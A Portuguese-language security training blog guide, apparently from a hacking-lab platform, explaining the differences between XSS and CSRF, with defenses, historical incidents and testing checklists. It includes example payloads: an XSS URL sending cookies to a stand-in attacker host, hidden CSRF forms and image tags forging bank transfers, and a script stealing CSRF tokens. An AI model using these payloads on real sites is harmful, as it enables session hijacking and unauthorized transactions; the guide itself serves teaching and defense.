Blog / Guide

XSS vs CSRF: diferenças chave, exemplos e como prevenir ambos

HackerDNA Team

9 min de leitura

dez. 30, 2025

Última atualização: fev. 03, 2026

XSS e CSRF são ambas vulnerabilidades web do lado do cliente, mas funcionam de maneiras completamente diferentes. XSS (Cross-Site Scripting) permite que atacantes executem scripts maliciosos no navegador da vítima, enquanto CSRF (Cross-Site Request Forgery) engana usuários para realizar ações indesejadas em sites onde estão autenticados.

Entender a diferença entre XSS vs CSRF é essencial seja você um pentester procurando vulnerabilidades ou um desenvolvedor tentando preveni-las. Este guia detalha como cada ataque funciona, mostra exemplos práticos e cobre as defesas específicas que você precisa para ambos.

⚡ TL;DR - A diferença chave

XSS = O código do atacante roda no site vulnerável → Pode roubar tudo
CSRF = O código do atacante roda de seu próprio site → Só pode acionar ações

📊 Comparação rápida: XSS vs CSRF

Antes de mergulhar nos detalhes, aqui está uma comparação lado a lado dos ataques XSS e CSRF:

Aspecto 🔴 XSS 🟠 CSRF
Alvo do ataque Navegador do usuário Sessão autenticada do usuário
Requer Campo de entrada vulnerável Sessão ativa no site alvo
Executa JavaScript malicioso Requisição HTTP indesejada
Objetivo do atacante Roubar dados, sequestrar sessão Executar ação como vítima
Pode ler respostas? ✅ Sim ❌ Não
Defesa principal Codificação de saída, CSP Tokens CSRF, cookies SameSite

🧠 Forma fácil de lembrar: XSS é colocar palavras na boca de alguém (injetar seu script em seu site confiável), enquanto CSRF é forjar a assinatura de alguém (fazer requisições que parecem vir do usuário legítimo).

🔴 O que é XSS (Cross-Site Scripting)?

Cross-Site Scripting ocorre quando um atacante injeta JavaScript malicioso em um site confiável. Quando uma vítima visita a página, o script executa em seu navegador com acesso total ao contexto da página, incluindo cookies, tokens de sessão e conteúdo DOM.

Por que é perigoso: O navegador não consegue distinguir scripts legítimos de scripts injetados. Se vem do domínio confiável, executa com todos os privilégios daquele domínio.

Três tipos de XSS

💉 XSS Refletido

Payload faz parte da requisição (geralmente URL). Executa imediatamente quando a vítima clica no link malicioso. Não armazenado no lado do servidor.

Exemplo: Consulta de pesquisa maliciosa na URL

💾 XSS Armazenado

Payload é salvo no banco de dados (comentários, perfis). Executa para cada usuário que visualiza a página afetada. Tipo mais perigoso.

Exemplo: Comentário malicioso em um blog

🌐 XSS baseado em DOM

Payload manipula JavaScript do lado do cliente. A vulnerabilidade está em como o JS da página lida com dados, não reflexão do lado do servidor.

Exemplo: Fragmento de URL processado por JavaScript

Exemplo de ataque XSS

Considere uma página de pesquisa que exibe entrada do usuário sem sanitização:

<!-- Código PHP vulnerável -->
<p>Resultados para: <?php echo $_GET['q']; ?></p>

Um atacante cria uma URL maliciosa:

https://site-alvo.example/search?q=<script>document.location='https://atacante.example/steal?c='+document.cookie</script>

🚨 O que acontece: Quando uma vítima clica neste link, o script executa e envia seu cookie de sessão para o servidor do atacante. O atacante agora pode sequestrar sua sessão e agir como a vítima.

💡 Pratique isso: Tente explorar vulnerabilidades XSS na prática no laboratório XSS Playground, onde você pode praticar com segurança técnicas de injeção refletida, armazenada e baseada em DOM em cenários realistas.

🟠 O que é CSRF (Cross-Site Request Forgery)?

Cross-Site Request Forgery engana um usuário autenticado para realizar ações indesejadas em um site onde está logado. O atacante aproveita o fato de que navegadores automaticamente incluem cookies com cada requisição para um domínio, independentemente de onde a requisição se origina.

Diferença chave do XSS: CSRF não injeta código no site vulnerável. O código malicioso roda no site do atacante e tem como alvo o site vulnerável.

Como CSRF funciona

  1. Usuário faz login em acme-banco.example Cookie de sessão é definido em seu navegador
  2. Usuário visita a página do atacante Enquanto ainda está logado em acme-banco.example em outra aba
  3. Página do atacante envia requisição para acme-banco.example Formulário oculto ou tag de imagem aciona a requisição
  4. Navegador inclui cookie de sessão automaticamente Este é comportamento normal do navegador para qualquer requisição para aquele domínio
  5. Banco processa a transferência Servidor não consegue diferenciar requisições legítimas de forjadas

Exemplos de ataque CSRF

Método 1: Usando uma tag de imagem (para requisições GET):

<!-- No site do atacante -->
<img src="https://acme-banco.example/transfer?to=atacante&amount=1000" style="display:none">

Método 2: Formulário auto-submetido (para requisições POST):

<!-- Formulário oculto que se submete automaticamente -->
<form action="https://acme-banco.example/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="atacante">
  <input type="hidden" name="amount" value="1000">
</form>
<script>document.getElementById('csrf').submit();</script>

⚠️ O ataque é invisível: Quando a vítima carrega esta página enquanto está logada em seu banco, a transferência acontece sem seu conhecimento ou consentimento. Ela não vê nada incomum.

🔍 Diferenças chave explicadas

Entender as diferenças fundamentais entre XSS e CSRF ajuda você a identificar e prevenir cada vulnerabilidade efetivamente.

🎯 O que é explorado

XSS: A confiança que o site tem no navegador do usuário. Scripts injetados rodam com privilégios completos.

CSRF: A confiança que o servidor tem no navegador do usuário. Qualquer requisição com cookies válidos é aceita.

💰 O que o atacante alcança

XSS: Controle total - ler dados, roubar credenciais, modificar página, executar qualquer ação.

CSRF: Limitado a ações apenas - pode acionar transferências mas não pode verificar saldos.

📍 Onde o ataque roda

XSS: Script malicioso executa no site vulnerável em si.

CSRF: Código malicioso roda no site do atacante, tem como alvo o site vulnerável.

👤 Dependência de estado do usuário

XSS: Funciona esteja o usuário logado ou não (autenticação torna mais valioso).

CSRF: Só funciona se o usuário tem sessão ativa. Sem sessão = sem ataque.

⚠️ XSS pode levar a CSRF?

Sim, e é por isso que XSS é frequentemente considerado mais perigoso. Se um atacante tem XSS em um site, ele pode contornar completamente as proteções CSRF.

Como código XSS roda dentro da origem confiável, ele pode:

  • ✅ Ler tokens CSRF diretamente da página
  • ✅ Submeter formulários com tokens válidos incluídos
  • ✅ Fazer requisições autenticadas que parecem completamente legítimas

Aqui está como XSS contorna proteção CSRF:

// Payload XSS que derrota tokens CSRF
var token = document.querySelector('input[name="csrf_token"]').value;
fetch('/transfer', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'to=atacante&amount=1000&csrf_token=' + token
});

🔑 Insight chave: Se você tem XSS, você efetivamente tem CSRF de graça. XSS pode fazer tudo que CSRF pode fazer, mais ler dados. É por isso que XSS é tipicamente considerado de maior gravidade.

🛡️ Métodos de prevenção

XSS e CSRF requerem estratégias de defesa diferentes. Implementar tokens CSRF não vai prevenir XSS, e codificação de saída não vai parar CSRF.

🔴 Prevenindo XSS

  • 🔒 Codificação de saída - Escape toda entrada de usuário antes de renderizar. Use codificação apropriada ao contexto (entidades HTML, escape JavaScript, codificação URL).
  • 🛡️ Content Security Policy (CSP) - Restrinja quais scripts podem executar. Bloqueie scripts inline e limite fontes a domínios confiáveis.
  • 🍪 Cookies HTTPOnly - Impeça JavaScript de acessar cookies de sessão. Limita danos mesmo se XSS ocorrer.
  • Validação de entrada - Lista branca de caracteres permitidos quando possível. Rejeite ou sanitize padrões de entrada perigosos.

🟠 Prevenindo CSRF

  • 🎫 Tokens CSRF - Inclua tokens imprevisíveis em formulários e verifique no lado do servidor. Atacantes não podem adivinhar ou acessar o token.
  • 🍪 Cookies SameSite - Defina SameSite=Strict ou Lax. Impede que cookies sejam enviados com requisições cross-origin.
  • 🔍 Verificar cabeçalhos Origin/Referer - Verifique se requisições se originam do seu domínio. Rejeite origens inesperadas.
  • 🔐 Reautenticação - Exija confirmação de senha para operações críticas como transferências de fundos.

📋 Cola rápida de defesa:

Defesa XSS: Sanitizar SAÍDA + CSP + HTTPOnly
Defesa CSRF: Tokens + SameSite=Strict + Verificar Origin

💥 Impacto do mundo real

Ambas as vulnerabilidades causaram danos significativos em sistemas de produção:

🔴 Ataques XSS famosos

Worm Samy (MySpace, 2005)
Um worm XSS armazenado que se espalhou para mais de 1 milhão de usuários em 20 horas, adicionando "Samy is my hero" a cada perfil infectado.

British Airways (2018)
Atacantes injetaram scripts que capturaram 380.000 detalhes de cartões de pagamento conforme os clientes os digitavam.

🟠 Ataques CSRF famosos

Netflix (2006)
Vulnerabilidade CSRF permitiu que atacantes alterassem detalhes de conta do usuário, incluindo endereços de entrega.

ING Direct (2008)
Atacantes podiam transferir fundos entre contas usando requisições forjadas.

Esses exemplos demonstram por que ambas as vulnerabilidades aparecem consistentemente no OWASP Top 10 e requerem medidas de segurança dedicadas.

🧪 Testando XSS e CSRF

Saber identificar essas vulnerabilidades é tão importante quanto entendê-las.

Checklist de testes XSS

  • Injetar <script>alert(1)</script> em campos de entrada
  • Verificar se a saída é codificada ou renderizada como HTML
  • Testar parâmetros URL, campos de formulário, cabeçalhos, cookies
  • Tentar contornos de filtros: codificações, variações de tags, manipuladores de eventos

Checklist de testes CSRF

  • Verificar se requisições de mudança de estado incluem tokens CSRF
  • Tentar reproduzir requisições de uma origem diferente
  • Verificar se atributos de cookie SameSite estão definidos
  • Testar se tokens são validados no lado do servidor (não apenas presentes)

🎯 Pratique com labs dedicados

🔴 XSS Playground

Pratique ataques XSS refletidos, armazenados e baseados em DOM. Aprenda contornos de filtros e técnicas de sequestro de sessão em ambiente seguro.

🟠 Transferência bancária CSRF

Explore falsificação de requisição baseada em sessão em cenário bancário realista. Entenda como atacantes abusam de sessões autenticadas.

Combine prática prática com o curso Cross-Site Scripting e curso CSRF para entender a teoria, ferramentas e estratégias de defesa por trás de cada técnica.

❓ Perguntas frequentes

CSRF faz parte de XSS?

Não, são vulnerabilidades completamente separadas com vetores de ataque e defesas diferentes. No entanto, XSS pode ser usado para contornar proteções CSRF já que código XSS pode ler tokens CSRF da página.

Qual é mais perigoso: XSS ou CSRF?

XSS é geralmente mais perigoso. Dá aos atacantes controle total sobre a sessão do usuário, incluindo a capacidade de ler dados, não apenas acionar ações. XSS também pode contornar proteções CSRF, tornando-o estritamente mais poderoso.

CSRF pode roubar dados?

Não. CSRF só pode acionar ações como submissões de formulário ou mudanças de estado. Devido à política de mesma origem, atacantes não podem ler respostas de requisições cross-origin. Podem transferir dinheiro mas não podem verificar saldos.

Tokens CSRF previnem XSS?

Não. Tokens CSRF apenas previnem ataques CSRF. XSS requer defesas separadas como codificação de saída, CSP e validação de entrada. Na verdade, XSS pode ler tokens CSRF e contornar aquela proteção inteiramente.

Ambas vulnerabilidades podem existir na mesma página?

Sim. Uma página pode ser vulnerável a ambos XSS e CSRF simultaneamente. Cada vulnerabilidade precisa ser abordada com suas defesas específicas. Ter uma não impede nem corrige a outra.

🎯 Resumo: XSS vs CSRF

Entender a distinção entre XSS e CSRF é fundamental tanto para testes de segurança ofensivos quanto para desenvolvimento defensivo:

🔴 XSS (Cross-Site Scripting): Injeta scripts maliciosos em sites confiáveis. Pode roubar dados, sequestrar sessões e executar qualquer ação. Defenda com codificação de saída e CSP.

🟠 CSRF (Cross-Site Request Forgery): Engana usuários autenticados em ações indesejadas. Limitado a acionar requisições, não pode ler respostas. Defenda com tokens e cookies SameSite.

🔗 Relação chave: XSS pode contornar proteções CSRF, tornando-se a vulnerabilidade mais grave quando ambas estão presentes.

Ambas as vulnerabilidades requerem prática prática para verdadeiramente entender. Ler sobre roubo de cookies é uma coisa; realmente criar payloads e vê-los executar constrói intuição real para encontrar esses problemas na natureza.

🚀 Pronto para explorar essas vulnerabilidades na prática? Comece com o XSS Playground para dominar injeção de script, depois vá para o lab de transferência bancária CSRF para entender requisições forjadas. Aprofunde seu conhecimento com o curso completo de segurança de aplicações web cobrindo contornos de filtros, mecanismos de defesa e técnicas de exploração do mundo real.

Pronto para colocar isso em prática?

Pare de ler, comece a hackear. Ganhe experiência prática com mais de 170 labs de cibersegurança reais.

Comece a Hackear Grátis
Junte-se a 5.000+ hackers aprendendo cibersegurança com labs práticos. Criar Conta